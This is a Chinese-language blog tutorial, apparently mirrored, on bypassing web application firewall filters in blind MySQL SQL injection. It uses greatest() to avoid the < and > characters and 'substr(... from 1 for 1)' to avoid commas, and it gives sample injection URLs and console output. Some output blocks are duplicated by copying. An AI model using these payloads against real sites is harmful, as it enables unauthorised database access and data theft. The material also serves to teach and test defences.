zoukankan      html  css  js  c++  java
  • SQL Injection bypass WAF

    tips:
    
    利用的注射点:
    支持Union
    可报错
    支持多行执行、可执行系统命令、可HTTP Request等额外有利条件
    若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。
    
    1. 通过greatest函数绕过不能使用大小于符号的情况
    
    猜解单个字符时,通常使用折半查找。
    
    mysql> select ascii(mid(user(),1,1)) < 150;
    +------------------------------+
    | ascii(mid(user(),1,1)) < 150 |
    +------------------------------+
    |                            1 |
    +------------------------------+
    2
    4
    6
    mysql> select ascii(mid(user(),1,1)) < 150;
    +------------------------------+
    | ascii(mid(user(),1,1)) < 150 |
    +------------------------------+
    |                            1 |
    +------------------------------+
    以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。
    
    比如,对于一个boolean based注入。尝试:
    
    http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150
    
    http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150
    
    上述两个页面返回的内容应该是不同的。
    
    但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。
    
    此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。
    
    当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:
    
    
    mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
    +------------------------------------------+
    | greatest(ascii(mid(user(),1,1)),150)=150 |
    +------------------------------------------+
    |                                        1 |
    +------------------------------------------+
    2
    4
    6
    mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
    +------------------------------------------+
    | greatest(ascii(mid(user(),1,1)),150)=150 |
    +------------------------------------------+
    |                                        1 |
    +------------------------------------------+
    如果小于150,则上述返回值为True。
    
    2. 通过substr函数绕过不能使用逗号的情况
    
    不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。
    
    通常,猜解都是要用到逗号的,因为需要mid函数取字符呐:
    
    ascii(mid(user(),1,1))=150
    ascii(mid(user(),1,1))=150
    绕过的方法是使用from x for y。语法类似:
    
    mid(user() from 1 for 1)
    或
    substr(user() from 1 for 1)
    2
    mid(user() from 1 for 1)
    或
    substr(user() from 1 for 1)
    以上同样是从第一个字符开始,取一位字符。
    
    那么,不带逗号注入的语法,就可以变成:
    
    mysql> select ascii(substr(user() from 1 for 1)) < 150;
    +------------------------------------------+
    | ascii(substr(user() from 1 for 1)) < 150 |
    +------------------------------------------+
    |                                        1 |
    +------------------------------------------+
    
    mysql> select ascii(substr(user() from 1 for 1)) < 150;
    +------------------------------------------+
    | ascii(substr(user() from 1 for 1)) < 150 |
    +------------------------------------------+
    |                                        1 |
    +------------------------------------------+
    是不是跟mid函数的效果是一样的,又没有用到逗号。
    

    Copyright © 2021 Primzahl. All rights reserved.

  • 相关阅读:
    设计模式之原型模式
    【转载】 吵翻了!这张图里到底是人还是狗?心理学家这样说
    【转载】 DeepMind 提出元梯度强化学习算法,显著提高大规模深度强化学习应用的性能
    ubuntu18.04 安装wine64出现错误: X 64-bit development files not found.
    ubuntu18.04 源码方式安装wine , 警告,libxrender 64-bit development files not found, XRender won't be supported.
    【转载】 信息如何像零食、金钱一样掌控你的大脑
    图像处理算法 之 滤波 模糊(基于OpenCV)
    图像处理之FPN校正
    ISP-黑电平校正(BLC)
    ISP基础(0y):图像传感器
  • 原文地址:https://www.cnblogs.com/Primzahl/p/6018164.html
Copyright © 2011-2022 走看看